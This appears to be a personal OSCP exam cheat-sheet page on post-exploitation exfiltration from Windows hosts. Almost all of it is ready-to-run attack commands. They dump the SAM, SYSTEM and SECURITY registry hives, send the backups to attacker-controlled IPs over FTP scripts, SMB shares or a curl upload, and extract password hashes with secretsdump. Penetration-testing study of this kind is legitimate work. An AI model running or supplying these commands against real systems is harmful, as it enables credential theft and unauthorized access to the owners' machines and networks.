Exfiltration

Dump the SAM hive to the pwd

#post exploitation#adot8

source · oscp.adot8.com · post-exploitation/exfiltration ↗

Exfiltration

Dump the SAM hive to the pwd

code

01reg.exe save HKLM\SAM C:\programdata\sam.bak

Dump the System hive to the pwd

code

01reg.exe save HKLM\SYSTEM C:\programdata\system.bak

Dump the Security hive to the pwd

code

01reg.exe save HKLM\SECURITY C:\programdata\security.bak

Spin up an smb server

bash

$impacket-smbserver share share/ -smb2support

powershell

$echo open 10.9.254.6 21 > ftp.txt && echo user anonymous >> ftp.txt && echo anonymous >> ftp.txt && echo binary >> ftp.txt && echo put C:\programdata\sam.bak >> ftp.txt && echo put C:\programdata\system.bak >> ftp.txt && echo put C:\programdata\security.bak && echo bye >> ftp.txt
$ftp -v -n -s:ftp.txt

Exfiltrate data

code

01python3 -m uploadserver

code

01curl -X POST http://HOST/upload -H -F 'files=@file.txt'

OR

code

01python -m pyftpdlib -p 21 --write

code

01echo open 192.168.45.237 21 > ftp.txt && echo user anonymous >> ftp.txt && echo anonymous >> ftp.txt && echo binary >> ftp.txt && echo put C:\programdata\sam.bak >> ftp.txt && echo put C:\programdata\system.bak >> ftp.txt && echo put C:\programdata\security.bak && echo bye >> ftp.txt

code

01ftp -v -n -s:ftp.txt

OR

code

01New-SmbMapping -LocalPath A: -RemotePath \\192.168.229.121\share -TcpPort 8888

powerquery

01net use "\\192.168.171.121\adot8"
02copy sam.bak "\\192.168.171.121\adot8\sam.bak"
03copy system.bak "\\192.168.171.121\adot8\system.bak"
04copy security.bak "\\192.168.171.121\adot8\security.bak"

Dump hashes with secretsdump

bash

$secretsdump.py -sam sam.bak -system system.bak -security security.bak local